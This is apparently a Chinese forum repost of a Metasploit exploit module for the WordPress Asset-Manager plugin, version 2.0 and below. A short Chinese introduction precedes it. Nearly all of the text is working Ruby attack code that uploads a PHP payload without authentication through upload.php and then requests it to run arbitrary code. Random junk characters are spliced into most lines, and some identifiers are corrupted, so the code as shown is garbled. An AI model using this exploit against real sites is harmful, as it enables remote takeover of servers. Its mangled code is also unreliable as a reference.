这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
& [# |2 S% w3 a7 q
6 N6 F0 l3 v# U X2 s##
, d2 j4 }: R0 M# H5 Y% V0 |# This file is part of the Metasploit Framework and may be subject to
# Y+ l4 B, V: _; y9 _% V ?: d, s# redistribution and commercial restrictions. Please see the Metasploit
7 O3 T" h4 `$ w/ q1 k# Framework web site for more information on licensing and terms of use.: ~- u$ u9 E4 `8 w! R; e
# http://metasploit.com/framework/7 |4 q4 o& \* u+ ] ^/ v
##& O9 T0 t, b! Y# g% i
& R3 h' A1 U$ ]- |6 v mrequire 'msf/core'( G# m+ g1 v- O! z/ y' X3 Q m
require 'msf/core/exploit/php_exe'
V5 n' T4 \/ a; z% S ( H8 ?, k) a2 S3 X+ n! @
class Metasploit3 < Msf::Exploit::Remote6 M! p+ v5 M; e) C! {- a
Rank = ExcellentRanking
0 h2 {/ A, S7 A' x
5 y3 B1 k! k: b7 Q' R p T3 b include Msf::Exploit::Remote::HttpClient. e. \' d' B& p: l+ W e$ R
include Msf::Exploit: hpEXE v; f2 ?3 \) v) C5 Q4 B
3 U" f& j G4 H, F! ^2 _4 o. m b def initialize(info = {})
2 W8 d( u6 q8 X1 k3 V/ i7 I S super(update_info(info, t5 \/ s K4 e& ^$ b/ p
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',, f/ ]! p. @ y" ], ~! i
'Description' => %q{+ p# n" q2 ^" U+ m4 M
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress1 }: D5 k; C7 }) T4 R/ _
plugin. By abusing the upload.php file, a malicious user can upload a file to a
! a2 \+ E; h$ P$ R0 i# N- z temp directory without authentication, which results in arbitrary code execution.
/ L( _( }) J- ]# E/ ?2 w. r; D+ W) X },
2 Q1 G- ]) |, o; U 'Author' =>
{, r! y& @0 n( M ?( J' z [2 v( f6 S* k9 B0 v
'Sammy FORGIT', # initial discovery
' ]7 d$ L$ n( {* d S 'James Fitts <fitts.james[at]gmail.com>' # metasploit module
4 D3 @ f9 V6 R% b. L' t- Z ],! S7 b+ w) M! ^% k1 k* g
'License' => MSF_LICENSE,: S3 i% g1 ?7 Y [$ g- k5 _' }
'References' =>0 ]3 U) E* k, B
[& J6 y; |- n3 K# b
[ 'OSVDB', '82653' ],
8 a) P5 k" f2 W9 @+ g: g ~( Y [ 'BID', '53809' ],
4 Y* l' W* Q9 \ [ 'EDB', '18993' ],
1 J, `' z) r+ @3 h1 x9 p [ 'URL', 'http:// www.myhack58.com /' ]
7 U# n [3 [# M" \+ \) M/ N ],
/ z2 V2 A% ?6 m0 ^5 S( H& ?7 k V 'Payload' =>) ` |: k3 l& U+ f% K4 Y
{
) @' ?2 _- e9 X 'BadChars' => "\x00",( u" ^; e) @" F8 I- l2 g$ E, R
},! S8 u5 |$ t& p
'Platform' => 'php',3 E. [7 G8 q) A. I, R% ?7 n# o9 l
'Arch' => ARCH_PHP,
8 w: C2 T# z4 [5 q) Q 'Targets' =>
+ l5 C! \( q4 h. W% q [$ I' I) ~+ ~8 F% A' K/ H# f
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
- f! w) e; [: @! I) E9 j Y [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]# U$ j Z' H5 I( I$ F X
],
+ N5 W4 z1 u/ Q' X- G, f 'DefaultTarget' => 0, S; m: Q0 t" }, T! A3 _4 z4 d1 x% H
'DisclosureDate' => 'May 26 2012'))
: w* h" F' D. @& ~5 ^8 X( h( ~! {! }$ J $ W0 r5 s: a! m- t; B* Y
register_options(& U+ z6 A, n8 ^' R# X- d1 v
[
! f4 R9 _% Y/ I9 k/ x5 V OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
, m- n2 e m# W ], self.class)/ P5 j8 u4 C8 h! u3 Z, O, t
end4 S' z/ Y) c5 \0 x! h q
+ D, g, P$ a0 P5 ] def exploit
) v+ B, h. M! i: r/ Y: J9 b# }4 s6 K uri = target_uri.path
! W ^8 m! q+ U) f0 I# v8 q uri << '/' if uri[-1,1] != '/'
! c1 r: d' m+ N3 S' e2 q3 h) N# Y peer = "#{rhost}:#{rport}"; L& N3 h" e4 m; `" P9 t9 ?
payload_name = "#{rand_text_alpha(5)}.php"
7 i- O* ~: I$ n+ Z3 }: l php_payload = get_write_exec_payload(:unlink_self=>true)& T1 U& j6 y6 |* W2 I. Z' k
8 v! v1 s: K* \4 H9 R! ]* Q2 s1 N4 s8 l
data = Rex::MIME::Message.new! {% Y$ t; D) B/ E
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
, N H2 ?8 X2 f post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
/ x9 z6 h0 L! Q# P3 n# z % o% C1 D) u6 b" y0 |
print_status("#{peer} - Uploading payload #{payload_name}")# `, a* P5 |& i0 F9 E& m: R' y
res = send_request_cgi({9 G3 P& f W% q! e }- W! l
'method' => 'POST',
! `$ S/ |+ G, Y( } 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
% h4 J+ o/ s( {' L# m 'ctype' => "multipart/form-data; boundary=#{data.bound}",
! P' p1 [! _% @) \ 'data' => post_data; b8 E8 h! t0 ]4 Q: p6 b( Q
})
% U9 h9 g* J2 u3 U
& l1 ~6 m; [- `- C if not res or res.code != 200 or res.body !~ /#{payload_name}/+ f) l/ N* x# O4 A7 E
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
- X% v# k; ?$ W' S- ~) q0 Oend
$ j7 N2 \- I/ |* ^/ { ; y! S) f. D2 F1 ?2 I
print_status("#{peer} - Executing payload #{payload_name}")
& E3 [$ ]& u6 ]9 H res = send_request_raw({
/ K3 V* b9 [9 {; g 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
* t) a* q+ h; K$ ~ 'method' => 'GET'* J. u/ k- P8 t- Q C
})
' y9 Q6 {( K" _7 _4 P' A! ?' p9 K* f) ~1 w Z8 m' t' V) N
if res and res.code != 200. y% ^* J8 h8 h# o% M" V7 C
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")) v. M2 ]$ i) ~
end8 x+ O0 ? M* p! Z
end2 k) y2 W# ]! z) W
end7 Z5 ]' ]$ f5 r' m' U! t" G
|